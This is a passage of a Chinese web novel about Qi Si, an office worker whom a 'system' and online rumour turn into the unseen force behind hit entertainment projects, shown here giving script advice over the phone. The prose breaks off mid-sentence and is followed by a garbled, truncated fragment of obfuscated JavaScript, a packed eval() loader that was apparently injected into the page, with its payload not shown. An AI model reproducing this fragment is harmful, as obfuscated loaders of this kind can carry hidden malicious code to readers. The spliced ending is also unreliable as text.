—

    外网。

    某营销号发了一条长微博，配图是几张项目海报的拼图，底下用红线把一个名字圈了出来：

    【你以为是运气？其实是庄家。】

    【盘点最近一年所有逆袭项目背后那个神秘的“齐”姓男人。】

    评论区一片“谁啊？”“求科普”“原来他才是幕后大佬”。

    热搜右侧，相关话题开始自动发酵：

    #齐司是谁#

    #娱乐圈隐形庄家#

    #只要他参与项目就一定成#

    系统：【舆论自动向宿主聚拢中。】

    【宿主未主动发声，未主动营销。】

    【热度来源：项目成功自然外溢。】

    齐司刷到这条热搜的时候，正站在地铁站台上，头顶的灯光有点刺眼，列车进站的风卷着一股铁锈味。

    他看着那几个话题，眉头皱了一下，把手机锁屏，塞回口袋。

    列车门打开，人群往里涌，他被推着往前走。

    系统在他耳边平静地提示：

    【当前身份：隐形庄家（宿主仍未觉察）。】

    【行业趋势：已开始围绕宿主参与项目进行调整。】

    【你可以继续下班。】

    地铁门关上，车厢里的灯一格一格亮起，窗外的隧道墙壁飞快后退，广告灯箱上一闪而过的是某平台的宣传海报——

    “本季爆款：《甜宠XX》。”

    角落里，小字署名：“创意顾问：齐司。”

    地铁晃了一下，荧白的灯管在车顶嗡嗡作响。

    齐司盯着那行“小字署名”看了两秒，确认自己没眼花——那确实是他前几天被拉去开会时，顺手在方案底部签的名字。

    他叹了口气，扶了扶背包带，决定当作没看见。

    系统安静了一会儿，又机械地补了一句：

    【宿主目前行为：继续下班。】

    【行业行为：继续围绕宿主。】

    地铁到站，他跟着人流出站，手机震动了一路。

    刚出闸机，屏幕上跳出十几个未接来电，制片、执行、场记、甚至还有一个备注“新加的谁来着”的号码。

    他本能地想关机，刚点到关机键，那个“新加的谁来着”又打进来。

    “喂？”他接起，语气很平。

    “齐老师！你终于接了！”对面是个年轻男声，背景里一片“咔哒咔哒”的键盘声和打印机吐纸声，“我是《甜宠XX》这边的执行编剧小周，您今晚有空吗？我们有一场戏总是演不顺，导演说，您要是能看一眼就好了……”

    齐司停在地铁口的风幕机下，暖风呼呼吹着，他抬手挡了挡风：“我只是挂名顾问。”

    “您随便看一眼就行！”小周急得声音都抬高了，“就一页纸，真的，就一页！我现在发您微信？”

    不等他拒绝，微信文件“叮”地一声弹出来——《第18场·雨夜告白》。

    他本来想说“明天再说”，结果对面已经开始描述问题：“我们这场戏拍了三天，男女主怎么演都假，台词一说出口就尬，导演都快崩溃了，平台那边又催进度……”

    齐司站在风幕机下，风吹得他眼睛有点干。他想了想，还是点开了那一页剧本。

    雨夜、走廊、告白、摔伞、强吻。

    他看了十几秒，眉心微微一蹙。

    “你们这场戏，台词太满了。”他随口说，“两个人都在说大道理，谁会在雨里讲这么多话。”

    小周那边立刻“唰唰唰”翻纸：“那……那怎么办？”

    “把台词砍掉三分之二。”齐司靠在墙上，目光扫过那几行对白，“女主那句‘我不是你可以随便安排的人’，改成‘你别这样’就够了。男主那句‘我只是想给你一个更好的未来’，改成‘我以为你会开心’。”

    他顿了顿，又补了一句：“雨声大一点，别让他们说太清楚。多给特写，嘴唇抖一下，比讲十句有用。”

    那头安静了两秒，仿佛所有人都在屏住呼吸听。

    “还有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(ne